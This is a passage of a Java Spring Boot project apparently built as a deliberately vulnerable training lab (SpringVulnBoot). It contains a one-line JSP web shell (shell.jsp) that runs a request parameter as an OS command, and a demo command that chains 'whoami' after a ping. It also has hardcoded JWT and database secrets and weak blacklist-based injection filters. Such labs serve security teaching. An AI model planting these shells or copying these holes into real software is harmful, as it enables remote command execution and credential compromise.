smsCode) { 29 | smsCodeMapper.updateSmsCodeUsed(smsCode); 30 | } 31 | 32 | @Override 33 | public void updateSmsCodeRetryCount(String phone) { 34 | smsCodeMapper.updateSmsCodeRetryCount(phone); 35 | } 36 | 37 | @Override 38 | public Integer selectRetryCount(String phone) { 39 | return smsCodeMapper.selectRetryCount(phone); 40 | } 41 | 42 | @Override 43 | public SmsCode verifyCode(String phone, String code) { 44 | return smsCodeMapper.selectByPhoneAndCode(phone, code); 45 | } 46 | 47 | @Override 48 | public SmsCode verifyCode2(String phone, String code) { 49 | return smsCodeMapper.selectByPhoneAndCode2(phone, code); 50 | } 51 | 52 | } 53 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/impl/UserLoginLogServiceImpl.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service.impl; 2 | 3 | import icu.secnotes.mapper.UserLoginLogMapper; 4 | import icu.secnotes.service.UserLoginLogService; 5 | import org.springframework.beans.factory.annotation.Autowired; 6 | import org.springframework.stereotype.Service; 7 | 8 | import java.time.LocalDateTime; 9 | 10 | @Service 11 | public class UserLoginLogServiceImpl implements UserLoginLogService { 12 | 13 | @Autowired 14 | private UserLoginLogMapper userLoginLogMapper; 15 | 16 | @Override 17 | public void insertUserLoginLog(String username, String ip, LocalDateTime loginTime) { 18 | userLoginLogMapper.insertUserLoginLog(username, ip , loginTime); 19 | } 20 | 21 | @Override 22 | public void deleteUserLoginLogByIp(String ip) { 23 | userLoginLogMapper.deleteUserLoginLogByIp(ip); 24 | } 25 | 26 | @Override 27 | public int countUserLoginLogByIp(String ip) { 28 | return userLoginLogMapper.countUserLoginLogByIp(ip); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/service/impl/UserServiceImpl.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.service.impl; 2 | 3 | import icu.secnotes.mapper.UserMapper; 4 | import icu.secnotes.pojo.PageBean; 5 | import icu.secnotes.pojo.User; 6 | import icu.secnotes.service.UserService; 7 | import org.springframework.beans.factory.annotation.Autowired; 8 | import org.springframework.stereotype.Service; 9 | import java.util.List; 10 | 11 | @Service 12 | public class UserServiceImpl implements UserService { 13 | 14 | @Autowired 15 | private UserMapper userMapper; 16 | 17 | @Override 18 | public List selectUserById(String id) { 19 | return userMapper.selectUserById(id); 20 | } 21 | 22 | @Override 23 | public List selectUserByUsername(String username) { 24 | return userMapper.selectUserByUsername(username); 25 | } 26 | 27 | @Override 28 | public PageBean pageOrderBy(String orderBy, Integer page, Integer pageSize) { 29 | //1.获取总记录数 30 | int count = userMapper.count(); 31 | 32 | //2.获取分页查询结果 33 | int start = (page - 1) * pageSize; 34 | List userList = userMapper.pageOrderBy(orderBy, start, pageSize); 35 | 36 | //3.分装PageBean对象 37 | return new PageBean<>(count, userList); 38 | } 39 | 40 | @Override 41 | public List selectUserSecByUsername(String username) { 42 | return userMapper.selectUserSecByUsername(username); 43 | } 44 | 45 | @Override 46 | public User passwordLogin(User user) { 47 | return userMapper.passwordLogin(user); 48 | } 49 | 50 | @Override 51 | public User passwordLogin2(String username, String password) { 52 | return userMapper.passwordLogin2(username, password); 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/utils/GoogleAuthenticatorUtil.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.utils; 2 | 3 | import com.warrenstrange.googleauth.GoogleAuthenticator; 4 | import com.warrenstrange.googleauth.GoogleAuthenticatorKey; 5 | import com.warrenstrange.googleauth.GoogleAuthenticatorQRGenerator; 6 | 7 | public class GoogleAuthenticatorUtil { 8 | 9 | private static final GoogleAuthenticator gAuth = new GoogleAuthenticator(); 10 | 11 | /** 12 | * 生成密钥 13 | * @return 生成的密钥信息 14 | */ 15 | public static GoogleAuthenticatorKey createCredentials() { 16 | return gAuth.createCredentials(); 17 | } 18 | 19 | /** 20 | * 生成二维码URL 21 | * @param username 用户名 22 | * @param issuer 发行者(一般是应用名称) 23 | * @param secret 密钥 24 | * @return 二维码URL 25 | */ 26 | public static String getQRCodeUrl(String username, String issuer, String secret) { 27 | return GoogleAuthenticatorQRGenerator.getOtpAuthURL(issuer, username, new GoogleAuthenticatorKey.Builder(secret).build()); 28 | } 29 | 30 | /** 31 | * 验证动态口令 32 | * @param secret 密钥 33 | * @param code 待验证的口令 34 | * @return 是否验证通过 35 | */ 36 | public static boolean verifyCode(String secret, int code) { 37 | return gAuth.authorize(secret, code); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/utils/JwtUtils.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.utils; 2 | 3 | import io.jsonwebtoken.Claims; 4 | import io.jsonwebtoken.Jwts; 5 | import io.jsonwebtoken.SignatureAlgorithm; 6 | 7 | import java.util.Date; 8 | import java.util.Map; 9 | 10 | public class JwtUtils { 11 | 12 | private static String signKey = "password"; 13 | private static Long expire = 4320000000L; //表示有效期1200h:1200 * 3600 * 1000 = 43200000 14 | 15 | /** 16 | * JWT 令牌生成方法 17 | * @param claims JWT第二部分载荷,paylaod中存储的内容 18 | * @return 19 | */ 20 | public static String generateJwt(Map claims){ 21 | 22 | String jwttoken = Jwts.builder() 23 | .signWith(SignatureAlgorithm.HS256, signKey) 24 | .setClaims(claims) 25 | .setExpiration(new Date(System.currentTimeMillis() + expire)) 26 | .compact(); 27 | 28 | return jwttoken; 29 | 30 | } 31 | 32 | /** 33 | * JWT 令牌解析方法 34 | * @param jwttoken 35 | * @return 36 | */ 37 | public static Claims parseJwt(String jwttoken){ 38 | Claims claims = Jwts.parser() 39 | .setSigningKey(signKey) 40 | .parseClaimsJws(jwttoken) 41 | .getBody(); 42 | 43 | return claims; 44 | } 45 | 46 | } -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/utils/Security.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.utils; 2 | 3 | import org.springframework.util.StringUtils; 4 | 5 | import java.util.Base64; 6 | 7 | /** 8 | * 安全工具类 9 | */ 10 | public class Security { 11 | /** 12 | * sql注入检测 13 | */ 14 | public static boolean checkSql(String content) { 15 | String[] black_list = {"'", ";", "and", "exec", "insert", "select", "delete", "update", "count", "*", "chr", "mid", "master", "truncate", "char", "declare", "or"}; 16 | for (String str : black_list) { 17 | if (content.toLowerCase().contains(str)) { 18 | return true; 19 | } 20 | } 21 | return false; 22 | } 23 | 24 | /** 25 | * xss恶意字符过滤 26 | */ 27 | public static String xssFilter(String content) { 28 | content = StringUtils.replace(content, "&", "&"); 29 | content = StringUtils.replace(content, "<", "<"); 30 | content = StringUtils.replace(content, ">", ">"); 31 | content = StringUtils.replace(content, "\"", """); 32 | content = StringUtils.replace(content, "'", "'"); 33 | content = StringUtils.replace(content, "/", "/"); 34 | return content; 35 | } 36 | 37 | /** 38 | * 命令执行恶意字符检测 39 | */ 40 | public static boolean checkCommand(String content) { 41 | String[] black_list = {";", "&&", "||", "`", "$", "(", ")", ">", "<", "|", "\\", "[", "]", "{", "}", "echo", "exec", "system", "passthru", "popen", "proc_open", "shell_exec", "eval", "assert"}; 42 | for (String str : black_list) { 43 | if (content.toLowerCase().contains(str)) { 44 | return true; 45 | } 46 | } 47 | return false; 48 | } 49 | 50 | /** 51 | * 合法IP地址检测 52 | */ 53 | public static boolean checkIp(String ip) { 54 | String[] ipArr = ip.split("\\."); 55 | if (ipArr.length != 4) { 56 | return false; 57 | } 58 | for (String ipSegment : ipArr) { 59 | //需要进行异常判断,万一不是数字 60 | try { 61 | int ipSegmentInt = Integer.parseInt(ipSegment); 62 | if (ipSegmentInt < 0 || ipSegmentInt > 255) { 63 | return false; 64 | } 65 | } catch (NumberFormatException e) { 66 | return false; 67 | } 68 | } 69 | return true; 70 | } 71 | 72 | /** 73 | * HTTP Basic Auth认证信息解码 74 | */ 75 | public static String[] decodeBasicAuth(String token) { 76 | if (token != null && token.startsWith("Basic ")) { 77 | String base64Credentials = token.substring(6).trim(); 78 | byte[] decodedBytes = Base64.getDecoder().decode(base64Credentials); 79 | String credentials = new String(decodedBytes); 80 | return credentials.split(":", 2); // 返回 [username, password] 81 | } 82 | return null; 83 | } 84 | 85 | /** 86 | * 过滤Log4j2日志中的特殊字符 87 | */ 88 | public static boolean checkLog4j2(String content) { 89 | // 检查是否存在Log4j2日志中的特殊字符 90 | return !content.matches(".*[&${:}<>\"].*"); 91 | } 92 | 93 | /** 94 | * 文件名检测 95 | */ 96 | public static boolean checkFilename(String filename) { 97 | // 使用正则表达式限制文件名只能包含字母、数字、点号和下划线 98 | String regex = "^[a-zA-Z0-9_.-]+\\.(jpg|jpeg|png|gif)$"; 99 | return filename.matches(regex); 100 | } 101 | 102 | /** 103 | * 手机号码正则校验 104 | */ 105 | public static boolean checkPhone(String phone) { 106 | // 空值检查 107 | if (phone == null || phone.isEmpty()) { 108 | return false; 109 | } 110 | 111 | // 仅允许数字 112 | if (!phone.matches("^\\d+$")) { 113 | return false; 114 | } 115 | 116 | // 长度必须为11位 117 | if (phone.length() != 11) { 118 | return false; 119 | } 120 | 121 | // 号段验证 122 | String regex = "^1(3[0-9]|4[5-9]|5[0-3,5-9]|6[6]|7[0-8]|8[0-9]|9[1,8,9])\\d{8}$"; 123 | return phone.matches(regex); 124 | } 125 | 126 | } -------------------------------------------------------------------------------- /src/main/resources/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/src/main/resources/.DS_Store -------------------------------------------------------------------------------- /src/main/resources/ESAPI.properties: -------------------------------------------------------------------------------- 1 | ESAPI.printProperties=false 2 | 3 | ESAPI.AccessControl=org.owasp.esapi.reference.DefaultAccessController 4 | ESAPI.Authenticator=org.owasp.esapi.reference.FileBasedAuthenticator 5 | ESAPI.Encoder=org.owasp.esapi.reference.DefaultEncoder 6 | ESAPI.Encryptor=org.owasp.esapi.reference.crypto.JavaEncryptor 7 | ESAPI.Executor=org.owasp.esapi.reference.DefaultExecutor 8 | ESAPI.HTTPUtilities=org.owasp.esapi.reference.DefaultHTTPUtilities 9 | ESAPI.IntrusionDetector=org.owasp.esapi.reference.DefaultIntrusionDetector 10 | ESAPI.Logger=org.owasp.esapi.logging.slf4j.Slf4JLogFactory 11 | ESAPI.Randomizer=org.owasp.esapi.reference.DefaultRandomizer 12 | ESAPI.Validator=org.owasp.esapi.reference.DefaultValidator 13 | 14 | 15 | #=========================================================================== 16 | # ESAPI Encoder 17 | Encoder.AllowMultipleEncoding=false 18 | Encoder.AllowMixedEncoding=false 19 | Encoder.DefaultCodecList=HTMLEntityCodec,PercentCodec,JavaScriptCodec 20 | 21 | 22 | #=========================================================================== 23 | # ESAPI ???? 24 | Encryptor.PreferredJCEProvider= 25 | Encryptor.EncryptionAlgorithm=AES 26 | Encryptor.CipherTransformation=AES/CBC/PKCS5Padding 27 | Encryptor.cipher_modes.combined_modes=GCM,CCM,IAPM,EAX,OCB,CWC 28 | Encryptor.cipher_modes.additional_allowed=CBC 29 | Encryptor.EncryptionKeyLength=128 30 | Encryptor.ChooseIVMethod=random 31 | Encryptor.fixedIV=0x000102030405060708090a0b0c0d0e0f 32 | Encryptor.CipherText.useMAC=true 33 | Encryptor.PlainText.overwrite=true 34 | Encryptor.HashAlgorithm=SHA-512 35 | Encryptor.HashIterations=1024 36 | Encryptor.DigitalSignatureAlgorithm=SHA1withDSA 37 | Encryptor.DigitalSignatureKeyLength=1024 38 | Encryptor.RandomAlgorithm=SHA1PRNG 39 | Encryptor.CharacterEncoding=UTF-8 40 | Encryptor.KDF.PRF=HmacSHA256 41 | 42 | #=========================================================================== 43 | # ESAPI Http?? 44 | 45 | HttpUtilities.UploadDir=C:\\ESAPI\\testUpload 46 | HttpUtilities.UploadTempDir=C:\\temp 47 | # Force flags on cookies, if you use HttpUtilities to set cookies 48 | HttpUtilities.ForceHttpOnlySession=false 49 | HttpUtilities.ForceSecureSession=false 50 | HttpUtilities.ForceHttpOnlyCookies=true 51 | HttpUtilities.ForceSecureCookies=true 52 | # Maximum size of HTTP headers 53 | HttpUtilities.MaxHeaderSize=4096 54 | # File upload configuration 55 | HttpUtilities.ApprovedUploadExtensions=.zip,.pdf,.doc,.docx,.ppt,.pptx,.tar,.gz,.tgz,.rar,.war,.jar,.ear,.xls,.rtf,.properties,.java,.class,.txt,.xml,.jsp,.jsf,.exe,.dll 56 | HttpUtilities.MaxUploadFileBytes=500000000 57 | # Using UTF-8 throughout your stack is highly recommended. That includes your database driver, 58 | # container, and any other technologies you may be using. Failure to do this may expose you 59 | # to Unicode transcoding injection attacks. Use of UTF-8 does not hinder internationalization. 60 | HttpUtilities.ResponseContentType=text/html; charset=UTF-8 61 | # This is the name of the cookie used to represent the HTTP session 62 | # Typically this will be the default "JSESSIONID" 63 | HttpUtilities.HttpSessionIdName=JSESSIONID 64 | 65 | 66 | 67 | #=========================================================================== 68 | # ESAPI Executor 69 | Executor.WorkingDirectory= 70 | Executor.ApprovedExecutables= 71 | 72 | 73 | #=========================================================================== 74 | # ESAPI Logging 75 | # Set the application name if these logs are combined with other applications 76 | Logger.ApplicationName=ExampleApplication 77 | # If you use an HTML log viewer that does not properly HTML escape log data, you can set LogEncodingRequired to true 78 | Logger.LogEncodingRequired=false 79 | # Determines whether ESAPI should log the application name. This might be clutter in some single-server/single-app environments. 80 | Logger.LogApplicationName=true 81 | # Determines whether ESAPI should log the server IP and port. This might be clutter in some single-server environments. 82 | Logger.LogServerIP=true 83 | # LogFileName, the name of the logging file. Provide a full directory path (e.g., C:\\ESAPI\\ESAPI_logging_file) if you 84 | # want to place it in a specific directory. 85 | Logger.LogFileName=ESAPI_logging_file 86 | # MaxLogFileSize, the max size (in bytes) of a single log file before it cuts over to a new one (default is 10,000,000) 87 | Logger.MaxLogFileSize=10000000 88 | 89 | 90 | #=========================================================================== 91 | # ESAPI Intrusion Detection 92 | IntrusionDetector.Disable=false 93 | IntrusionDetector.event.test.count=2 94 | IntrusionDetector.event.test.interval=10 95 | IntrusionDetector.event.test.actions=disable,log 96 | 97 | IntrusionDetector.org.owasp.esapi.errors.IntrusionException.count=1 98 | IntrusionDetector.org.owasp.esapi.errors.IntrusionException.interval=1 99 | IntrusionDetector.org.owasp.esapi.errors.IntrusionException.actions=log,disable,logout 100 | 101 | IntrusionDetector.org.owasp.esapi.errors.IntegrityException.count=10 102 | IntrusionDetector.org.owasp.esapi.errors.IntegrityException.interval=5 103 | IntrusionDetector.org.owasp.esapi.errors.IntegrityException.actions=log,disable,logout 104 | 105 | IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.count=2 106 | IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.interval=10 107 | IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.actions=log,logout 108 | 109 | 110 | #=========================================================================== 111 | # ESAPI ??? 112 | #???????? 113 | Validator.ConfigurationFile=validation.properties 114 | 115 | # Validators used by ESAPI 116 | Validator.AccountName=^[a-zA-Z0-9]{3,20}$ 117 | Validator.SystemCommand=^[a-zA-Z\\-\\/]{1,64}$ 118 | Validator.RoleName=^[a-z]{1,20}$ 119 | 120 | #the word TEST below should be changed to your application 121 | #name - only relative URL's are supported 122 | Validator.Redirect=^\\/test.*$ 123 | 124 | # Global HTTP Validation Rules 125 | # Values with Base64 encoded data (e.g. encrypted state) will need at least [a-zA-Z0-9\/+=] 126 | Validator.HTTPScheme=^(http|https)$ 127 | Validator.HTTPServerName=^[a-zA-Z0-9_.\\-]*$ 128 | Validator.HTTPParameterName=^[a-zA-Z0-9_]{1,32}$ 129 | Validator.HTTPParameterValue=^[a-zA-Z0-9.\\-\\/+=@_ ]*$ 130 | Validator.HTTPCookieName=^[a-zA-Z0-9\\-_]{1,32}$ 131 | Validator.HTTPCookieValue=^[a-zA-Z0-9\\-\\/+=_ ]*$ 132 | 133 | # Note that max header name capped at 150 in SecurityRequestWrapper! 134 | Validator.HTTPHeaderName=^[a-zA-Z0-9\\-_]{1,50}$ 135 | Validator.HTTPHeaderValue=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ ]*$ 136 | Validator.HTTPContextPath=^\\/?[a-zA-Z0-9.\\-\\/_]*$ 137 | Validator.HTTPServletPath=^[a-zA-Z0-9.\\-\\/_]*$ 138 | Validator.HTTPPath=^[a-zA-Z0-9.\\-_]*$ 139 | Validator.HTTPQueryString=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ %]*$ 140 | Validator.HTTPURI=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ ]*$ 141 | Validator.HTTPURL=^.*$ 142 | Validator.HTTPJSESSIONID=^[A-Z0-9]{10,30}$ 143 | 144 | # Validation of file related input 145 | Validator.FileName=^[a-zA-Z0-9!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$ 146 | Validator.DirectoryName=^[a-zA-Z0-9:/\\\\!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$ 147 | 148 | # Validation of dates. Controls whether or not 'lenient' dates are accepted. 149 | # See DataFormat.setLenient(boolean flag) for further details. 150 | Validator.AcceptLenientDates=false -------------------------------------------------------------------------------- /src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | spring: 2 | datasource: 3 | url: jdbc:mysql://localhost:3306/SpringVulnBoot 4 | username: root 5 | password: Root1234 6 | driver-class-name: com.mysql.cj.jdbc.Driver 7 | -------------------------------------------------------------------------------- /src/main/resources/log4j2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /src/main/resources/static/file/logo_text_white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bansh2eBreak/SpringVulnBoot-backend/6ad19ad8359a982ef4e7633abecb671251415369/src/main/resources/static/file/logo_text_white.png -------------------------------------------------------------------------------- /src/main/resources/static/file/shell.jsp: -------------------------------------------------------------------------------- 1 | <% 2 | Runtime.getRuntime().exec(request.getParameter("cmd")); 3 | %> -------------------------------------------------------------------------------- /src/test/java/icu/secnotes/SpringVulnBootApplicationTests.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class SpringVulnBootApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/test/java/icu/secnotes/test/RuntimeDemo.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.test; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.IOException; 5 | import java.io.InputStreamReader; 6 | 7 | public class RuntimeDemo { 8 | public static void main(String[] args) { 9 | try { 10 | // 要执行的命令 11 | String command = "ping 127.0.0.1 -c 2;whoami"; 12 | 13 | // 执行命令并获取进程 14 | Process process = Runtime.getRuntime().exec(command); 15 | 16 | // 获取命令的输出流 17 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 18 | String line; 19 | while ((line = reader.readLine()) != null) { 20 | System.out.println(line); 21 | } 22 | 23 | // 获取命令的错误流 24 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); 25 | while ((line = errorReader.readLine()) != null) { 26 | System.err.println(line); 27 | } 28 | 29 | int exitValue = process.waitFor(); 30 | System.out.println("Process exited with value " + exitValue); 31 | 32 | } catch (IOException | InterruptedException e) { 33 | e.printStackTrace(); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/test/java/icu/secnotes/test/Sha256Test.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.test; 2 | 3 | import java.security.MessageDigest; 4 | import java.security.NoSuchAlgorithmException; 5 | 6 | public class Sha256Test { 7 | public static void main(String[] args) { 8 | String input = "Hello"; 9 | String hash = ""; 10 | int count = 0; 11 | long startTime = System.currentTimeMillis(); 12 | try { 13 | MessageDigest digest = MessageDigest.getInstance("SHA-256"); 14 | 15 | while (!hash.startsWith("00000")) { 16 | count++; 17 | String data = input + count; 18 | byte[] encodedhash = digest.digest(data.getBytes()); 19 | hash = bytesToHex(encodedhash); 20 | // System.out.println(String.format("第 %d 次,字符串:%s,hash值:%s", count, data, hash)); 21 | } 22 | 23 | long endTime = System.currentTimeMillis(); 24 | long duration = endTime - startTime; 25 | 26 | System.out.println("Final String: " + input + count); 27 | System.out.println("SHA-256 Hash: " + hash); 28 | System.out.println("Count: " + count); 29 | System.out.println("Duration: " + duration + "ms"); 30 | } catch (NoSuchAlgorithmException e) { 31 | System.out.println("Error: " + e.getMessage()); 32 | } 33 | } 34 | 35 | private static String bytesToHex(byte[] hash) { 36 | StringBuilder hexString = new StringBuilder(2 * hash.length); 37 | for (byte b : hash) { 38 | String hex = Integer.toHexString(0xff & b); 39 | if (hex.length() == 1) { 40 | hexString.append('0'); 41 | } 42 | hexString.append(hex); 43 | } 44 | return hexString.toString(); 45 | } 46 | } 47 | --------------------------------------------------------------------------------